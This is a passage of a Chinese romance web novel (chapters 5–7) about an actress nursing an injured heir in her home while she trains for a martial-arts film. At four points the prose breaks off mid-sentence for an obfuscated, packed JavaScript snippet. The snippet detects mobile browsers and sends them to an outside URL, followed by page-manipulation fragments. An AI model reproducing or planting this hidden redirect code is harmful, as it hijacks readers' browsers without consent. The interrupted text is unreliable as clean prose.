没有得到应答的沈鹮肉眼可见地有些焦急,刚刚蒋钦年回复自己的信息里还带了一段视频链接,是脑震荡后遗症时可以采取的按摩手法。 沈鹮没敢再耽搁,将手机立在床边的矮柜上,学着视频里面的手势,用指腹放在柏原的太阳穴边轻轻顺时针打着圈。 “这样有没有好一些?我给你按一会儿?” 因为实在不熟悉按摩的力道,沈鹮没敢太用力,实际按摩的作用不过杯水车薪,但却让柏原说不出一句拒绝的话。 “好……” 柏原开始想到出院去沈鹮家里的主意时,一方面是想借用自己深陷恋爱不可自拔的形象当个幌子降低哥哥的防备心,另一方面也抱有创造相处机会、一解相思之苦的心思。 只是令他万万没有想到的是…… 自己有一天也会得到阿鹮如此的照顾…… 他犹如在漆黑矿洞里想要采撷一两颗金矿果腹的工人,却无意间碰到了价值连城的钻石。 他慌不择路地将钻石从泥土中扣出,藏在衣袖里生怕被人发现。 阿鹮此时看向他温柔又专注的目光就是他想要据为己有的钻石。 前额的疼痛已经悄然离去,可是他故意没再出声。 微微睁开的双眼把沈鹮每一瞬细微的动作和表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647761|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都一一刻画进脑海中,手指尖的温度透过肌肤传导至自己每一寸神经之上,整个身体缓缓在她周身的馨香中沉落。 阳光洒在她的侧脸上,甚至是最最微小的汗毛都能被柏原看得一清二楚。 再看看我吧…… 再陪陪我吧…… 阿鹮…… - 二层的跑步机正在不断运转,沈鹮从中午饭之后就一直躲在二楼没再下去。 她喜欢运动,除了作为女明星必须要维持身材纤细的目的以外,也有可以在这个过程中集中精神专注思考一件事的缘故。 今天早晨在柏原房间他一直没有喊停。 还是沈鹮率先发现他的脸色已经比自己刚刚进门那会儿恢复太多,才有些尴尬的把自己手指从他太阳穴上移开。 秋季正午的阳光透过落地窗洋洋洒洒地落在他们脸上,好像阴暗角落的暧昧情愫也被阳光滋养着缓缓破土而出。 都说演员需要具备敏感的天性,沈鹮自然敏锐地捕捉到了空气中的异样。 把手帕快速丢进水盆中,抛下一句“好了那我就先走了”之后便躲上二楼,把一切丢给家政阿姨来处理。 这段回忆在沈鹮的脑海中不断巡回播放,她在试图为自己有些反常的行为和心情找到一个答案。 明明半个月前她还可以在巴黎埃菲尔铁塔下为两人注定分别的宿命理智地画上一个句点,为什么如今把人带回自己家里,她就变得有些过分在意和关心。 不可否认的是,她会心疼柏原的伤痛。 知晓短短两个月时间内他身上经历的变故很难不会对他多些包容,父亲的逝世,兄长的反目,还有他自己身上的伤痕,沈鹮好像做不到不为这样的柏原产生几分偏袒和同情。 更何况他曾经帮过自己。 柏原是真的实打实地帮过自己,付襄大导演的新戏是圈子里多少年轻演员拼了命、挤破头都想混进组的机会,很多一线明星、流量偶像就算是演只有几句台词的配角,那一个个都只会乐呵呵地接下还连声道谢。 没有柏原从中做媒,她沈鹮怎么可能就这么轻而易举地得到这个角色? 虽然她这人算不上两袖清风,嗟来之食她能果断地拒之门外,但她也远远做不到对柏原这样的好意不抱有一颗感恩之心。 付襄新戏剧本此时此刻就放在她床头,预计下个月就要开始进组的大戏,她提前一个月已经开始背诵台词只为在导演面前不要掉链子。 一个小时的长跑结束,沈鹮有些气喘地拿起放在旁边桌子上的水杯,将杯子里一半的温水一饮而尽。 应当就是这样。 人性最基本的善良和自己知恩图报的秉性让她自然而然对柏原多了几分关照和在意,这样的情绪即便放在任何其他人身上也会产生相似的结果。 沈鹮这样告诉自己,背后的逻辑却让人一时难以分辨到底是合情合理还是自我麻醉。 她拿起浴巾走向了二楼浴室,晃了晃脑袋把那些纷乱的思绪从脑海中剔除。 既然已经找到了可以自洽的理由,便不要自寻烦恼。 她的人生哲学,就是从不庸人自扰。 5. 第 5 章 自从那天两个人在房间里面莫名其妙过分暧昧之后,沈鹮就若有似无地有些躲着柏原。 请神容易送神难,人既然已经接到了家里来,送是肯定送不走的。 更何况柏原现在那副惨兮兮的眼神看沈鹮多一秒,她估计都会谴责自己一没爱心,二没良心。 好在她给自己早早就找到了逃避理由。 付襄导演在圈子里以严谨出名,骨子里对于艺术创作的苛刻追求在严格要求自己的同时也投射在剧组的演员身上,吴敏璇不止一次提醒过沈鹮一定要提前做好各种准备。 这部电影的台词她已经背下大半,除此之外更为担心的是电影里武打戏的部分。 沈鹮所饰演的女主角就是一位出身贵族却一心向往江湖的侠女,练就一身武林绝学后浪迹天涯,在机缘巧合下结识了身为武林盟主之子的男主角,二人同时撞破朝廷秘密立志共赴行侠的故事。 以往沈鹮接触的角色大多都以文戏为主,偶尔需要舞刀弄枪都是临时学些花拳绣腿,其余的高难度动作都交由武打替身来完成。 但这种偷工减料的招数很明显在付襄眼皮子底下肯定行不通。 早在欧洲的时候,吴敏璇就和沈鹮商量过给她报名参加一个武打集训,先把基本功练起来,以防到时候进组在导演面前露了怯。 吴敏璇通过圈内好友打听到了一个据说是九十年代港圈武打片动作导演在北京私人开得武馆,托关系又给沈鹮安排了一个女武术指导,专门教一些女演员经常在电影里使用的武打动作。 大清早沈鹮连早饭都没顾得上在家里吃,抱着一杯家政阿姨打的香蕉奶昔就往门外跑。 追在她身后的阿姨连打包一个贝果的时间都没留,生怕这个档口正好遇上了一楼的那尊大佛。 一天的集训总共四个小时,上午两个小时加上下午两个小时,再算上中午吃饭和零零总总的休息时间,沈鹮从早晨九点到达武馆,一直到下午三、四点才从武馆的大门一瘸一拐地走出来。 不得不说港圈老一辈艺人确实有两把刷子,就连他手下的武术教练教学起来都不掺杂任何水份。 一天训练下来,就连沈鹮这种一年四季三百六十五天几乎天天运动的人都有些吃不消训练的强度。 有几个稍微上了难度的武术动作要在地板上翻滚,做了几十遍下来,沈鹮就感觉自己从头到脚,哪儿哪儿都隐隐泛着酸痛。 女武打教练也是好意,临走之前还提醒沈鹮,下次再来就可以上威亚试试一些空中的武打动作,吓得沈鹮抱着衣服和背包赶快从武馆训练场溜之大吉。 吴敏璇一直在旁边陪着沈鹮,毕竟是自己一手带大的艺人,往好了说也算是半个女儿。 吴敏璇亲眼看着沈鹮今天吃了不少苦头也有点心疼,还没走出武馆大门就劝了两句:“明天咱先休息休息吧,你这今天回去估计得恢复两天,隔两天再来问题也不大。” 沈鹮回头看了眼训练场吊在半空中的威亚装备,悄悄咽下唾沫点了点头,自己确实上威亚之前需要几天时间做点心理准备。 只不过这个想法转头就被沈鹮否定了,想起自己万一待在家里和某人低头不见抬头见,她还不如上威亚呢。 “别别别,敏璇姐,明天还来,付导的机会多难得,让我多准备准备。” “……也行。” 不知道沈鹮背后那点弯弯绕绕的心思,吴敏璇以为沈鹮真是下了决心要吃苦,把武戏凭借这个机会好好磨练一番。 多少年没见过这样踏实努力的年轻演员了,吴敏璇倒是最这样的工作态度十分欣赏:“走,今天姐请你吃顿好的,今天辛苦了,想吃啥你随便点!” 沈鹮一听这感情好,挽着吴敏璇的胳膊就往停车场走。 这顿饭她吃得倒也不亏心,武打动作她一个都没落下,威亚也是实打实要训练的,虽然其中包含了一点自己的难言之隐,但总的来说她的努力也不可否认。 “我要吃涮羊肉!去玺X居吃!” “呵!你可真会挑!” 秋天来顿涮羊肉确实暖身暖胃,用清汤煮也没有太大的热量负担,吴敏璇上了驾驶座就点开导航输入“玺X居”。 从武馆到达玺X居门外的时候正好到了饭点。 吴敏璇提前让团队的几个小姑娘先去订了个包间,沈鹮带上墨镜和口罩下车就往二层包厢跑,被人认出来也不算什么大事,只是习惯性低调,多一事不如少一事。 一行人从饭店出来月亮也已经高悬在树梢上,吴敏璇顺路刚好把沈鹮送到家里的时候已经临近十点。 沈鹮轻手轻脚地走进客厅,有一瞬间都觉得自己太搞笑,在自己家还跟做贼一样生怕被人发现。 在确认一楼卧室的灯已经熄灭之后,沈鹮还是或多或少松了一口气,转身才上了二楼卧房。 - 接下来的四、五天,沈鹮日日雷打不动地一起穿就换上行头往武馆跑,晚上吃过晚饭以后才到家,将柏原起床和睡觉的时间点完美避开。 几天下来沈鹮也为自己这点小聪明有些窃喜。 她知道柏原身体还在恢复的过程中,蒋钦年之前微信发给她的注意事项里面就包括了按时休息、规律作息,每天晚上只要睡得晚,柏原第二天早晨醒来,脑震荡头疼的后遗症准得折腾一场。 沈鹮就抓紧了这根“救命稻草”每天回家的时间越拖越晚。 最早也得等到十点以后才迈进家门,久而久之沈鹮也把之前和柏原那点不清不明的暧昧忘得七七八八。 这两天沈鹮进步神速,刚上威亚那两天,武打老师让沈鹮在距离地面两米的地方摆个姿势都得手抖半天。 这两天克服了心理因素之后,沈鹮甚至已经可以吊着威亚在空中做些简单的动作串联。 能吃娱乐圈这碗饭的人生来就没有几个条不顺、盘不亮的。 沈鹮本身就占尽了身型和长相上的优势,熟悉了武戏和威亚之后,连武术指导都夸赞她做得招式赏心悦目,几句表扬下来也给沈鹮参演付襄的新戏攒足了士气。 只不过武术再怎么样也是一项高难度运动,几天下来沈鹮身上大大小小的淤青也布满了后背、双膝。 “明天、后天休息两天吧,你这样高强度训练肌肉和骨骼也吃不消,得学会有张有弛。” 女教练在训练结束之后还是亲自发话了,强行给沈鹮休了两天假,导致她就算再是不乐意,也得听专业人士的建议。 晚上又从吴敏璇那里蹭了一顿美餐之后,正好赶上周末,团队又去KTV嗨唱了两个小时才回家。 一直到晚上十二点过五分,沈鹮才准时用指纹解锁了自家大门。 出乎意料地,这回客厅的夜灯还亮着,昏黄的灯光只能把客厅沙发那一小块地方照亮。 沈鹮站在门口,适应了两秒从室外到室内的光线变化之后,才蓦然发现柏原的轮椅就板板正正地停在沙发边上。 “阿鹮,你回来了。” “嗯……”隔着两、三米的距离,沈鹮站也不是,走也不是,硬着头皮问他:“这么晚了,你不睡吗?” “我在等你。”柏原的声音听起来比前几日还要低哑些:“我们好几天没见了,想和你说会儿话。” 对方这么直接的表达方式也是让沈鹮有些应接不暇,既然人家都开口了,她也不好意思拒绝。 沈鹮心虚地摸了摸鼻尖,走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647762|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离柏原不算太远的单人沙发上坐下。 一坐下才看见柏原受伤的右腿被架在小凳子上,中间还垫着一个枕头,想必是阿姨帮他放在这里的。 蒋钦年之前发给她的注意事项里面其实也包含了一句,伤腿愈合前不要随意活动。 今天她回家的时间比以往还要再晚两个小时,沈鹮下意识地有些担心柏原在这里坐了过久,也不知道会不会已经濒临他的极限。 “你……你想和我聊点什么?” 坐在轮椅上的柏原稍微向前坐了坐,伸长手臂,把面前的茶几上的几个包装盒推到沈鹮面前。 “我托朋友从澳洲买了几瓶外伤的特效药送过来,这两天听说你身上伤得地方多,用这个药应该能恢复得快一点。” 包装盒上印得全是些英文,幸亏沈鹮为了参加海外活动也苦学过一段时间的英语,里面“Bruises”、“Sprains”之类的字眼她能认得出是淤青和扭伤的意思。 自己一天到晚躲着对方,然而人家还记挂着自己,托朋友买了自己急需的东西送上门来。 沈鹮突然就觉得自己有点不是个东西。 “谢谢……”除此之外她也不知道再说什么好。 柏原点点头,没再搭腔,只是又从一堆药盒里面挑挑拣拣,选出了一样上面写着“止疼阵痛”的喷雾。 伸出手掌,柏原冰凉的手指小心地攥住了沈鹮的右手手腕。 她条件反射地想要抽走,却又突然被关节处传来的剧痛惊出一声痛呼。 是今天训练时不小心扭伤的那只手腕。 沈鹮是天生的右撇子,有一个动作需要落地时手掌稍微借力轻轻撑一下地板,也许是自己动作还不熟练,发力点不对,几遍练习下来手腕就越来越痛。 直到吃完晚饭以后,整个右手手腕都已经微微肿起,患处也比周围皮肤颜色更加偏红。 柏原从沈鹮站在门口的时候,就发现了她今天右手一直垂在身侧微微发抖。 离近发觉她受伤以后,即便有再多的话想说,也暂时顾不得那些,只想着给她先处理了伤处再说。 冰凉镇痛的喷雾药剂接触手腕的瞬间,那股发烫、肿痛的感觉就消失了大半。 喷过几秒把红肿完全覆盖以后,柏原才用另外一只手掌轻轻在她肿起的地方打着圈:“要把药剂吸收进去,不然就白喷了。” “哦,哦……” 沈鹮没拒绝,任由他牵着自己的手把药剂一圈又一圈缓缓揉进肌肤里。 她把自己的视线从手腕上移开,落在他上下扇动的睫毛上看得出神。 她从来没有见过柏原这么认真又温柔的一面。 没有预想中娇生惯养的小少爷被冷落之后的控诉,没有在客厅里端坐几个小时到午夜才等到自己的质问,好像他从一开始就只是为了把买到的药膏亲自送给她。 显得沈鹮这几天东躲西藏的行为有些多余。 手腕上的药剂已经差不多被完全吸收,柏原把药剂放回盒子里:“好了,其他地方你也要自己擦,恢复快些也不影响你训练。” “嗯……谢谢了……” 沈鹮将几个盒子分别揣进自己上衣口袋,和柏原再道声谢之后尴尬再次袭来。 她挠了挠头不知道再说些什么,转身就准备再次上楼。 只是她还没迈出一步,手肘就被人再次拉住。 沈鹮回头去看,柏原那双天生漂亮又深邃的眼睛正在昏暗的夜灯下水波荡漾。 然后她听见他略带恳求,又透着委屈的声音再次开口:“阿鹮,别躲着我,好吗?” 心里有一块地方塌了,在她自己都看不见、摸不着的角落。 6. 第 6 章 昨天晚上沈鹮回到卧室先冲了个澡,睡觉前又帮自己给身上的各处淤青挨个抹了药。 抹着抹着,思维就开始跑马灯。 柏原那句“别躲着我”在沈鹮脑海里一直挥之不去,再配上他那双漂亮眼睛里快要溢出的难言委屈,一副被自己欺负惨了还不敢有怨言的可怜模样。 手里还攥着人家送的喷雾,沈鹮看着夜灯下喷雾瓶身表面的英文包装,深深叹了口气。 算了算了,总躲着他本来也不是长久之计,最近就在家消停两天。 趁着武馆教练给了两天假期,沈鹮打算在家里好好放松一回。 清早起来阳光正好透过落地窗照在房间的各个角落,这样的好天气在北京的秋天也算难得。 沈鹮从床上坐起脱下睡衣,打开衣柜柜门换上了一身户外散步的行头。 走进二楼卫浴,沈鹮习惯性用右手挤出牙膏开始刷牙,直到抬头看见镜子里满嘴泡沫的自己,才后知后觉地发现手腕已经消肿,转圈、活动都不再受影响。 不得不说,柏原送给沈鹮的喷雾确实好用。 后背和膝盖的淤青睡前也同样喷过一层药剂,沈鹮站在浴室里左右拉伸,原地跳跃几下,终于确认除了肩膀还有点酸之外,其他地方暂时已经感觉不到痛了。 从头到脚一阵神清气爽,沈鹮擦干脸上挂着的水珠,转头就哼着曲往楼下餐厅跑。 餐桌上家政阿姨准备的早餐已经整整齐齐摆上了桌,沈鹮在餐桌前坐下,左顾右盼看了一圈也没找到柏原的影子。 还没等她把盘子里的五枚蒸饺吃完,就看见家政阿姨从柏原的房间里面退了出来。 “阿姨,柏原呢?还在房间里?” 问这话的时候沈鹮以为是昨晚两个人磨蹭到太晚,柏原比自己需要的休息时间更长,晚点醒来倒也正常。 “嗯,刚刚吃完早餐,说是想在房间里休息会儿。” 沈鹮这才看清阿姨手里端着的空盘和水杯。 她撇了撇嘴,怪不得前几天她清早也没怎么遇见柏原:“他可真够金贵的。” 感情小少爷到自己家里也摆起谱来,得要家政阿姨把早餐端进屋里才吃。 “不是,不是,柏先生今天实在腿疼起不来才在房间里面吃得早餐,平常三餐都是自己来餐厅吃。” “……腿,腿疼?” “嗯,”家政阿姨没想太多,把刚刚在卧室从柏原那儿听来的说法直接转述给了沈鹮:“说是昨晚坐起的时间太长,血液循环不好,右腿肿得厉害。” 最后一个蒸饺正好被沈鹮吞进胃里,听完家政阿姨的解释,那坨饺子就好像卡在食道里上也上不去,下也下不来,顶得人心口发闷。 厨房里方才一直旋转的微波炉突然响起“叮咚”提示音,阿姨连忙从微波炉里取出热好的牛奶倒进玻璃杯中,端起杯子又准备再往柏原房间跑一趟。 阿姨才走了两步就被沈鹮开口叫住:“阿姨,这个……这个牛奶是给柏原喝的吗?” “啊,对啊,骨折得多补点钙,早晚都会让他多喝点牛奶。” “给,给我吧,”沈鹮从餐桌前站起,冲着阿姨的方向挥了挥手:“我把牛奶去端给他。” “也,也行。” 家政阿姨也是快五十岁的人,眼瞅着这一个屋檐下的两个小年轻拉拉扯扯、不清不楚,自己也不好在中间多嘴。 秉持着雇主说什么就是什么的服务精神,阿姨把装着牛奶的玻璃杯递到了沈鹮手上。 牛奶的温度正好可以入口,拿在手里也不算太烫,沈鹮站在柏原门口还是踌躇了几分钟,才腾出手敲了敲房门:“柏原,我进来了。” 柏原房间的门锁一般情况下都没上锁,沈鹮轻轻一推房门就立即打开。 “阿鹮,你来啦……” 还是如同前几日一样,柏原半坐起倚靠在床头,手里攥着手机好像是在看今日的股市新闻。 沈鹮状似无意地飞快扫过柏原放在床尾的伤腿,半条腿都包裹在白色的绷带底下看不清楚状况,只有暴露在空气中的脚趾看着有些发紫。 还真是……肿起来了…… 昨晚柏原端坐在轮椅上的时间过久,或多或少和自己也有些关联,沈鹮脸上闪过一刹那的歉疚,却又很快被自己掩饰下去。 仅仅只是一刹那表情的微小变化,却也没能逃过柏原的眼睛。 他看清楚了,唇角不可抑制地向上悄悄翘起:“这杯牛奶是给我的吗?” “哦,是……” 沈鹮把手里的玻璃杯递给柏原,正好对上那人笑意盈盈的双眸,失神片刻自己的手指就被那人的掌心包裹,略带克制的肌肤摩擦传来一片酥酥麻麻的触感。 在沈鹮反应过来之前柏原就已经接过玻璃杯,坦然的表情里看不出丝毫端倪。 昂首喝掉三分之一牛奶后,转头又对沈鹮笑得眉眼弯弯:“真好喝,谢谢阿鹮。” “哦,哦,不客气。” 反应异常地慢了两拍,沈鹮有些无措地收回视线准备离开,转身前又被床上的柏原眼疾手快地拽住了衣袖。 “阿鹮,你是要出门吗?” 从沈鹮进门开始,柏原就一直悄悄打量着她今天的一身装扮。 修身的外套底下穿了一件纯白色的吊带内搭,在暖和的屋子里敞开拉链,刚好能看见沈鹮一对精致的锁骨和女明星天生的妖娆曲线。 眸底的颜色暗下一度:“阿鹮,你要去楼下散步吗?可以带我一起吗?” “哈?你不是右腿今天不舒服吗?” 沈鹮又偷偷扫过一眼柏原肿胀的脚趾,心虚地补上一句:“你今天应该不方便下楼吧……” “没事,这会儿腿已经不难受了。” 说着就好像要证明自己一样撑起上半身抓着床边的轮椅准备坐上去,沈鹮下意识地帮他把轮椅手刹拉下,扶着轮椅以免滑动又出现什么意外。 这些天转移的次数多了,柏原也掌握了把自己从轮椅搬上搬下的诀窍,用刚刚恢复的左腿作为支点,撑着身体调转方向就能很快坐上轮椅。 柏原动作麻利,沈鹮反倒看得惊心动魄,赶忙把右侧的护板帮柏原掰开,伤腿水平架在护板上防止髌骨错位。 柏原终于坐稳在轮椅上之后,又伸手抓着沈鹮的衣袖晃了又晃:“阿鹮,走吧,带我下去吧。” - 北方入冬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647763|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间较早,像这样阳光灿烂照得人通体暖洋洋的秋日恐怕不剩几天了。 在电梯里下楼前,沈鹮有些担心出门之后柏原会遇上什么熟人。 毕竟这片地界入住的业主大多都是各行各业有权有钱的精英,除了政界大佬、商界新贵以外,像沈鹮这样的二线明星都只能勉勉强强算得上小区生态链的中层。 她有些害怕遇上哪个和柏原不对付的,看见小少爷这幅样子一顿挖苦,那柏原心里估计别提多难受了。 幸好,沈鹮把柏原从电梯上推到小区中心花园的一路上没碰上什么眼熟的面孔。 稍稍放心以后,沈鹮也暗自感叹确实应该推他下来转转,成日闷在屋子里面就算是个正常人也得憋出病来,更别说像柏原这样刚刚经历重大坎坷的小少爷。 高档小区的花园设计得高雅又别具特色,仿照中式园林在小区中央修葺了一片亭台水榭,几乎是把半个苏州园林搬进了北京城。 小型人工湖上方正好建了一顶凉亭。 沈鹮远远看着阳光正好斜照进亭子中央,又避开了来来往往晨练的住户,她没多想就慢慢把柏原推到了亭子里放下。 “好久没有晒太阳了,好舒服呀……” 沈鹮一低头就看见柏原在阳光下微微眯起双眼,消瘦了不少的脸颊在阳光下照得白皙透明,唇角上扬翘起一个完美的弧度,才有了几分从前游刃有余的风采。 还别说,看得沈鹮心里有点发涩,又酸,又涩。 沉默片刻,沈鹮没说话,只是在凉亭边上找了个空位坐下,斜靠在柱子上眺望湖心。 她摊放在膝盖上的手心里突然被塞进一张凉凉的卡片。 眨眼低头看了看,才看清是几个月前在酒店总统套房里,柏原留在她床头的那张信用卡。 “给我这个干嘛?” “照顾我很麻烦,占了你们家一间房,也可能有很大的开销……” 沈鹮摆了摆手,把卡放回柏原轮椅的扶手上:“那点开销早被蒋钦年结清了,请的家政阿姨我就没花一分钱。” “阿鹮,你收着吧,”薄薄的一张卡片又再次被柏原放进了沈鹮上衣外套的口袋里:“这回不是作为……不是以那种身份给你,是为了感谢你,谢谢你不嫌弃我。” “真不用,你……”说着沈鹮又准备把银行卡掏出来,她塞进口袋里的手在下一秒被柏原按住,动弹不得。 “就当是让我别显得那么狼狈,你就收下吧。” 避开对视的眼神,柏原稍稍偏过头只给沈鹮留下一个有些黯然的侧脸。 沈鹮掌心慢慢收紧,攥着银行卡一时之间哑口无言。 在身体的伤痕背后,在反目的亲情之下,她突然看见了柏原同样被碾压成粉末的自尊心。 她有些明白了,柏原并不愿意当一只寄人篱下的丧家之犬,他有他的抱负,有他的骄傲。 “行,那我就收下了。” 沈鹮把银行卡收在口袋里又拍了两声以示谢意。 还是没忍住,沈鹮伸出右手将柏原头顶的发丝用力揉乱:“别想那么多了,好好恢复身体,身体是一切革命的本钱。” “我相信你能重新振作。” 7. 第 7 章 沈鹮一直惦记着柏原肿胀的伤腿,在亭子里没坐多久,刚满半个小时就转动轮椅准备把人送回家里。 “放风”被迫中断的柏原倒也没太多怨言,本来主要目的就是跟着沈鹮下楼,以防她被什么色眯眯的臭男人觊觎美色。 这会儿任务已经完成,坐在轮椅上被推着走进电梯也笑得乐呵呵地。 “傻笑什么?” 沈鹮一直在背后推着柏原,在电梯反光的镜子中才看见那人一直咧着大牙笑眯眯的样子。 傻笑和阿鹮一起散步了,傻笑终于把信用卡送给阿鹮了。 当然这话自然还不能说给沈鹮听,柏原只能临时乱驺了个借口:“开心,终于呼吸了一趟新鲜空气。” 就这么简单一件事就能哄得柏小公子喜上眉梢,沈鹮自己都没发觉自己语气里带着些宠溺:“傻子……” 这边两人聊天的话音刚落,电梯另外一角就有道刺耳的声音响起:“哟,我说这是谁呢,这不是咱们柏原柏小少爷嘛!” 沈鹮转头望向电梯里男人陌生的一张脸,发现那人视线直直落在柏原身上,嘴边讥讽的笑容和语气中的轻佻就差把“来者不善”这四个字写在脸上了。 坐在轮椅上的柏原沉默不语,沈鹮看见他原本垂下的双手已经悄悄握紧轮椅扶手,攥成拳的手背上一根根青筋凸起,在柏原白皙的皮肤上显得尤为瞩目。 她心下暗道不好。 真是怕什么,来什么。 刚刚还在庆幸没在小区里碰上什么熟人让柏原难堪,住户来来往往的中心花园没遇到一个,偏偏在逼仄的电梯里和他们狭路相逢。 真寸啊…… “小少爷这是怎么了?受伤了?不儿,我们柏少被赶出家门还出车祸的事儿不会是真的吧?” 电梯里那男人还在不依不饶,指着柏原那条受伤的右腿放肆挖苦,沈鹮头一次开始抱怨自家小区的电梯怎么上升速度这么慢。 也许是觉得被柏原无视有些不痛快,男人很快把目标从柏原身上转向了站在他身旁的沈鹮:“我刚都没看清这儿还站了个美女呢?” 男人故作认真地凑近上下打量几秒:“哟呵,我说谁这么眼熟,原来是沈大明星!还跟着柏原呢?要不跟哥吧,哥给你出三倍的钱。” 沈鹮咬了咬唇,还是没出声。 圈里混了四、五年,这种有权有势有背景的人她见得太多,随便拎出来一个就不是她这种小明星惹得起的。 即便她再有胆识,在巨大的社会地位落差面前,理智也能让她把自己嘴巴上那扇门关得紧紧的。 “不说话?玩清高?切,你们女明星说起来好听,实际上一个个背地里不就是出来卖的……” “何政桓!你给我闭嘴!” 沈鹮一低头就看见柏原侧脸上的太阳穴正在疯狂跳动,眼神里难以忽略的狠厉让她甚至有一瞬间的大脑空白。 “你再多说一个字,信不信我让你吃不了兜着走,”坐在轮椅上明明矮人一头,气势却莫名高涨:“如果有胆量,你就来试试!” 楼层到达的提示音正好响起,沈鹮赶在战火升级前赶快把柏原推出了电梯。 身后何政桓才终于反应过来,指着柏原的背影大放厥词:“柏,柏原,我告诉你,你现在可不是当初了,你别以为我还怕你,我……” 电梯门缓缓合上,将杂音隔绝在外。 沈鹮把柏原推进他的房间,犹豫片刻还是在轮椅前慢慢蹲下身,才恍然发现这人眼眶一圈通红。 虎落平阳被犬欺。 没有缘由地,沈鹮看见此刻的柏原就想到了这句话。 她在脑海里搜寻许久也拼凑不出一句安慰人的话。 都不是十七、八岁的小孩子了,经历了这么多,沈鹮心想柏原应该比自己更清楚语言在现实面前显得最是苍白无力。 叹了口气,却没想到是坐在她面前的柏原先有了动作。 伸出手掌把自己的手指包裹在掌心,大拇指在她手背上轻轻摩挲。 沈鹮看着那人泛红的眼尾,鬼使神差地没抽回手,只是任由他慢慢握紧。 又等了约莫一、两分钟过去,沈鹮才听见柏原低哑的声音略带哽咽:“对不起,是我让你受委屈了。” 其实沈鹮这人并不矫情。 在娱乐圈混得时间久了,没有一颗强心脏根本爬不到二、三线的位置,更别说她心气还没散,还准备这两年往一线的方向上够一够。 电梯里何政桓那两句话,放在她刚进圈那两年挨导演、制片人的痛骂里,都算小巫见大巫了,她自己一点都没往心里去。 可架不住柏原在意。 沈鹮记得清楚何政桓在电梯里挑衅柏原的时候,他可以承受住忍着一言不发;是直到侮辱波及到她身上,柏原才指着那人鼻子撂下一堆狠话。 虽然她不知道其中有几句是真,但她不得不承认,被人维护和珍惜的感觉还不赖。 多少年没有人会为她出头了? 沈鹮已经记不清了。 在一个到处都是捧高踩低的圈子里,口蜜腹剑和落井下石她见得太多,大家熙熙攘攘皆为利来,谁会为了保护你一个不惜伤害自己的利益? 可能会这样不顾一切站出来挡在她面前的人这些年恐怕就只有柏原一个。 “柏原,其实我挺开心的。” “嗯?”坐在轮椅上垂头伤神的人似乎有些不解,歪着头看向沈鹮。 “你能为我说那些话,真的很解气,我很多年都没这么痛快过了,我真挺开心的。” 沈鹮说得真诚,在柏原耳朵里却听得苦涩。 从小被捧在手心里的小少爷,也是如今才明白退让和隐忍的道理,他才经历这么短短几天,可阿鹮已经在这样的生活里不知道坚持了多少年。 他要快些了。 要更快些,他要具备能够保护的力量,把一切恶行恶语都为她挡在身后。 - 电梯里发生的插曲虽然当时搅得人心情不快,但事后平静下来,却让沈鹮对柏原难得生出了几分亲近。 这两天虽然都待在家里没出门,但沈鹮也没完全放松。 放假的第二天就把自己关在房间里练习台词,只是怎么练都觉得感觉不对,想起屋子里还有个年龄和自己一边儿大的柏原,现成的适龄“男演员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647764|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她干嘛放着不用? “哒哒哒”从楼上跑到柏原房间里,把自己之前复印作为备份的剧本塞到他手里:“柏原,陪我练练台词吧。” 沈鹮端了个板凳坐在柏原床边,帮他把剧本翻到了男、女主角初次见面的戏份。 女主误打误撞地被人引进了武林大会,第一次比武切磋就正好遇上了剑法已经小有所成的男主,二人比试十来回合仍是不相上下,最后男主先故意让了一招,才叫女主得空把剑直指他胸前。 女主误以为是男主小瞧了自己,心中不快。 “你故意的?”沈鹮用手在空中舞了个剑花的手势,手边没有合适的道具可用,只能先无实物表演凑活一下。 “在下不敢。只是看得出姑娘剑法已臻化境,再比下去,不过浪费你我的时间,才主动收手。” 柏原没受过戏剧培训,突然把台词拿到手上,又是偏古文的词汇,说得有些磕磕绊绊。 “没意思,那我走了。” 柏原学着剧本上提示得那样,将两手抱握成拳微微一揖:“敢问姑娘芳名?以便他日再遇,不至冒犯。” 